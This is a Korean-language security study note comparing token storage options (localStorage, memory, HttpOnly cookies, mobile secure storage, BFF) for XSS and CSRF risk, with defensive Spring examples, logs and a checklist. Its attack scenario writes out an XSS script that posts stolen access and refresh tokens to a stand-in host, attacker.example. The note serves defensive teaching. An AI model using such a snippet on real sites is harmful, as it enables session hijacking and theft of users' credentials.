이 문서를 통해 아래 질문들에 답할 수 있게 됩니다.
- localStorage, memory, HttpOnly Cookie, 모바일 secure storage는 어떤 탈취 위험이 다른가?
- XSS와 CSRF를 token 저장 위치 선택에서 어떻게 함께 고려하는가?
- 저장 위치 결정은 프론트 편의가 아니라 어떤 운영 기준으로 내려야 하는가?
개요
Token 저장 위치는 “어디가 제일 안전한가”로 끝나는 문제가 아니다.
저장 위치마다 공격면이 다르다.
- localStorage는 JavaScript가 읽기 쉬워 XSS에 취약하다.
- memory 저장은 새로고침에 약하지만 지속 노출 시간이 짧다.
- HttpOnly Cookie는 JavaScript 읽기를 줄이지만 CSRF와 자동 전송을 고려해야 한다.
- 모바일 secure storage는 OS 보호를 받을 수 있지만 기기 탈취와 백업 정책을 봐야 한다.
- BFF 패턴은 browser에 token을 직접 주지 않지만 서버 세션과 CSRF 방어가 필요하다.
공격 시나리오
SPA가 access token과 refresh token을 localStorage에 저장한다.
공격자는 게시글 댓글 XSS를 통해 다음 스크립트를 실행한다.
fetch("https://attacker.example/steal", {
method: "POST",
body: JSON.stringify({
access: localStorage.getItem("access_token"),
refresh: localStorage.getItem("refresh_token")
})
});refresh token까지 탈취되면 공격자는 사용자가 브라우저를 닫아도 새 access token을 계속 받을 수 있다.
반대로 refresh token을 HttpOnly Cookie에 넣으면 JavaScript 읽기는 줄지만, refresh endpoint가 CSRF에 취약하면 공격자가 피해자의 브라우저로 token 재발급을 유도할 수 있다.
취약한 요청/응답 예시
HTTP/1.1 200 OK
Content-Type: application/json
{
"accessToken": "at-long-lived",
"refreshToken": "rt-long-lived",
"expiresIn": 86400
}localStorage.setItem("access_token", response.accessToken);
localStorage.setItem("refresh_token", response.refreshToken);긴 수명의 refresh token을 JavaScript 접근 가능 저장소에 두면 XSS 한 번으로 장기 세션이 탈취된다.
주제별 핵심 판단
| 저장 위치 | 장점 | 주요 위험 |
|---|---|---|
| localStorage | 구현이 쉽고 새로고침 후 유지된다 | XSS로 token 원문 탈취 |
| sessionStorage | 탭 단위 유지 | XSS로 접근 가능 |
| memory | 탈취 지속 시간이 짧다 | 새로고침과 multi-tab UX가 어렵다 |
| HttpOnly Cookie | JavaScript 읽기 제한 | CSRF, cookie scope 실수 |
| 모바일 secure storage | OS 보호 활용 | 기기 탈취, root/jailbreak, 백업 |
| BFF server session | browser token 노출 감소 | 서버 상태, CSRF, 세션 운영 필요 |
정답은 제품 구조와 공격 모델에 따라 달라진다.
개선된 요청/응답 예시
Browser 기반 앱에서 흔한 선택지는 다음과 같다.
- 개선된 설계는 token 저장 위치를 XSS, CSRF, 모바일 탈취, 로그 노출 위험과 함께 비교한다.
- 브라우저 JavaScript가 읽는 저장소를 선택했다면 CSP, 출력 인코딩, 짧은 TTL을 같이 요구한다.
방어 설계
access token:
- 짧은 TTL
- 가능하면 memory 저장
- 민감 claim 최소화
refresh token:
- HttpOnly Secure SameSite Cookie
- refresh endpoint path 제한
- rotation과 reuse detection
- CSRF 또는 Origin 검증BFF 패턴을 쓰면 browser는 token을 직접 저장하지 않고 server session cookie만 가진다.
Browser -> BFF session cookie
BFF -> API access token이 경우에도 session cookie 보안, CSRF, session store, logout 처리는 필요하다.
모바일 앱은 refresh token을 OS secure storage에 저장하되, device binding, root/jailbreak 탐지, token rotation, 원격 logout을 함께 본다.
Spring/HTTP 예시
refresh token을 HttpOnly Cookie로 발급하는 예시다.
public ResponseCookie refreshTokenCookie(String token) {
return ResponseCookie.from("refresh_token", token)
.httpOnly(true)
.secure(true)
.sameSite("Strict")
.path("/api/auth/refresh")
.maxAge(Duration.ofDays(14))
.build();
}refresh endpoint는 Origin과 CSRF 성격의 nonce를 함께 볼 수 있다.
@PostMapping("/api/auth/refresh")
public ResponseEntity<TokenResponse> refresh(
@CookieValue("refresh_token") String refreshToken,
@RequestHeader("Origin") String origin,
@RequestHeader("X-Refresh-Nonce") String nonce,
HttpServletRequest request) {
refreshRequestGuard.verify(origin, nonce, ClientSignal.from(request));
TokenRotationResult result = refreshTokenService.rotate(refreshToken, ClientSignal.from(request));
return ResponseEntity.ok(TokenResponse.from(result.accessToken()));
}SameSite가 있더라도 민감한 refresh 경계에는 명시적 검증을 추가하는 편이 안전하다.
운영 로그와 감사 지점
level=WARN event=token_storage_policy_violation result=blocked client_type=spa token_type=refresh_token storage=localStorage reason=javascript_accessible trace_id=ce7110a1level=WARN event=refresh_request_rejected result=blocked reason=origin_mismatch origin=https://evil.example path=/api/auth/refresh trace_id=ce7110a2운영에서 storage 정책 위반을 자동으로 알기는 어렵다. 대신 보안 리뷰 체크리스트, CSP report, XSS 탐지, refresh token reuse 이벤트를 연결해야 한다.
실전 판단 기준
- refresh token이 localStorage나 sessionStorage에 저장되지 않는가?
- localStorage는 CSRF에는 유리할 수 있지만 XSS에 취약하다.
- HttpOnly cookie는 XSS token 읽기를 줄이지만 CSRF와 SameSite 정책을 함께 봐야 한다.
테스트 포인트
- access token TTL이 XSS 탈취 피해를 줄일 만큼 짧은가?
- refresh token cookie가
HttpOnly,Secure,SameSite, 좁은Path를 가지는가? - refresh endpoint가 CSRF나 Origin 검증 없이 동작하지 않는가?
- CSP와 출력 인코딩으로 XSS 가능성을 줄이고 있는가?
- token 탈취 의심 시 기기별 logout과 token family 폐기가 가능한가?
위험 신호!
- refresh token을 localStorage에 저장한다.
- access token과 refresh token의 수명이 모두 길다.
- XSS 방어 없이 “JWT니까 stateless라 안전하다”고 말한다.
- HttpOnly Cookie를 쓰면서 CSRF 방어를 제거한다.
- 모바일 앱에서 secure storage 없이 plain preference에 token을 저장한다.
- 저장 위치 결정이 보안 리뷰 없이 프론트 구현 편의로만 정해진다.
확인 질문
확인 질문
- localStorage가 token 저장소로 위험한 이유는 무엇인가?
- XSS가 발생하면 JavaScript가 token 원문을 읽어 외부로 보낼 수 있기 때문이다.
- HttpOnly Cookie를 쓰면 끝이 아닌 이유는 무엇인가?
- JavaScript 읽기는 줄지만 브라우저 자동 전송으로 CSRF와 cookie scope 문제를 여전히 고려해야 하기 때문이다.
- 저장 위치 선택에서 가장 먼저 볼 기준은 무엇인가?
- 탈취 가능성, 자동 전송 여부, 폐기 가능성, refresh token 회전, 운영 탐지 가능성을 함께 봐야 한다.